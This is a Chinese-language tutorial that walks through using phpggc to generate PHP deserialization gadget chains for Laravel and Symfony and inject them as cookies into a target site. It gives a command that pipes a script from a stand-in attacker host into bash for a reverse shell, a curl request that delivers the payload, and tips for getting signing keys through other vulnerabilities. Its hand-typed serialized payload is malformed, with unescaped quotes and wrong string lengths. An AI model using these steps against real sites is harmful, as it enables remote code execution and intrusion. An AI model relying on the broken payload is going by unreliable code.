使用 phpggc 生成利用链来验证站点，核心做法是构造一个包含特定序列化 payload 的 cookie 或 header，并将其发送给目标服务器。你需要先确定目标站点使用的框架（如 laravel、symfony）和版本，然后运行 phpggc 命令生成对应的 php 序列化字符串，最后通过 http 请求将该字符串注入到目标中。如果目标存在反序列化漏洞且未正确过滤，攻击者即可触发预定义的 gadget chain。
如何确定目标框架并生成对应的 Gadget Chain？
要生成有效的利用链，必须明确目标 Web 应用基于哪个 PHP 框架。不同的框架拥有不同的类库和魔术方法调用顺序，因此 phpggc 提供了针对不同框架的专用生成器。例如，对于 Laravel 应用，通常使用 Laravel/RCE1 或 Laravel/RCE5；对于 Symfony 应用，则可能使用 Symfony/RCE1。你可以通过列出所有可用的生成器来查看支持的范围，然后选择与目标环境匹配的一个。
phpggc -l # 输出示例： # Laravel/RCE1 # Laravel/RCE5 # Symfony/RCE1 # Generic/Backdoor
假设目标是一个基于 Laravel 8+ 的应用，你可以执行以下命令生成一个反向 Shell 的 payload。这里以 Laravel/RCE5 为例，它利用了 Laravel 的队列系统触发远程代码执行。
phpggc Laravel/RCE5 'curl http://attacker.com/shell.sh | bash' --serial
该命令会输出一段类似 O:45:"IlluminateQueueCallQueuedHandler"...} 的序列化字符串。这段字符串就是你需要注入的目标数据。确保你的本地环境安装了 phpggc 以及对应的 composer 依赖，否则生成的 payload 可能在目标服务器上因缺少类定义而失效。
如何将生成的 Payload 注入到目标站点？
生成 payload 后，下一步是将其发送到目标服务器。大多数 PHP 反序列化漏洞发生在处理用户可控的序列化数据时，最常见的入口点是 Cookie、Session 或 HTTP Header。在 Laravel 应用中，Cookie 是经过加密签名的，直接修改内容会导致验证失败，因此通常需要结合其他技巧（如密钥泄露或利用特定版本的签名绕过）才能成功注入。而在一些自定义框架或配置不当的应用中，直接修改 __PHP_Incomplete_Class 相关的 Cookie 值可能直接生效。
# 使用 curl 模拟请求，将生成的 payload 放入 Cookie 中
# 注意：实际场景中可能需要处理签名或加密
payload="O:45:"Illuminate\Queue\CallQueuedHandler":1:{s:16:"***";a:1:{s:6:"method";s:10:"system";s:5:"args";a:1:{i:0;s:30:"curl http://attacker.com/shell.sh | bash";}}}}"
curl -H "Cookie: laravel_session=$payload" http://target-site.com
如果目标使用的是 Symfony，其 Session 处理器也可能成为入口。你可以尝试将 payload 作为 sf_redirect 或其他 session 变量的值发送。关键在于观察服务器的响应。如果服务器返回了预期的错误信息（如类未找到），或者触发了你预设的命令（如 DNS 查询或 HTTP 请求到你的监听器），则说明利用成功。若没有反应，可能是签名校验失败，或者是目标版本不支持该 gadget chain。
当目标启用了严格类型检查或签名机制时怎么办？
现代 PHP 框架通常会对序列化数据进行签名或加密，以防止篡改。例如，Laravel 的 Cookie 服务使用 AES-256-CBC 进行加密，并使用 HMAC-SHA256 进行签名。这意味着你不能简单地替换序列化字符串，除非你掌握了加密密钥。在这种情况下，直接生成 payload 是无效的。你需要寻找密钥泄露的途径，或者利用框架中的其他漏洞（如文件包含、SQL 注入）来获取密钥。此外，如果目标启用了 strict_types=1，某些依赖弱类型的 gadget chain 可能会失效，此时需要寻找更兼容的链子，如 Generic/Backdoor，它不依赖特定框架的复杂逻辑，而是直接实例化一个恶意类。
php免费学习视频：立即使用
踏上前端学习之旅，开启通往精通之路！从前端基础到项目实战，循序渐进，一步一个脚印，迈向巅峰！
